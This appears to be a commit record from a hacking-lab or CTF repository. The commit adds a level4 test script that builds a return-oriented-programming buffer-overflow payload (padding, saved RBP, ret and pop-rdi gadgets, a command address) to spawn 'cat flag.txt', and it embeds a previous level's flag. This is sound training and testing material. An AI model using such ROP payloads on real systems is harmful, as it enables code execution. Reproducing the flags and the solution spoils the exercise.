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Eggert Jung
2026-01-06 10:49:56 +01:00
parent 9019369b0d
commit c823836626
7 changed files with 50 additions and 0 deletions
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4/level4/test.sh Executable file
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OLDFLAG="hacklab{n3w_c4ll1ng_c0nv3nt1ons!_wYLVjeJr}"
PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" #32
SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00" #kind of irrelevant
GADGET1="\xa4\x12\x40\00\00\00\00\00" #ret (for stack alignment)
GADGET2="\xa3\x12\x40\00\00\00\00\00" #pop rdi, ret
CMDADDR="\x08\x20\x40\00\00\00\00\00"
CMDCALL="\x96\x11\x40\00\00\00\00\00"
printf "$OLDFLAG\n$PADDING$SAVERBP$GADGET1$GADGET2$CMDADDR$CMDCALL\ncat flag.txt\n" > input.txt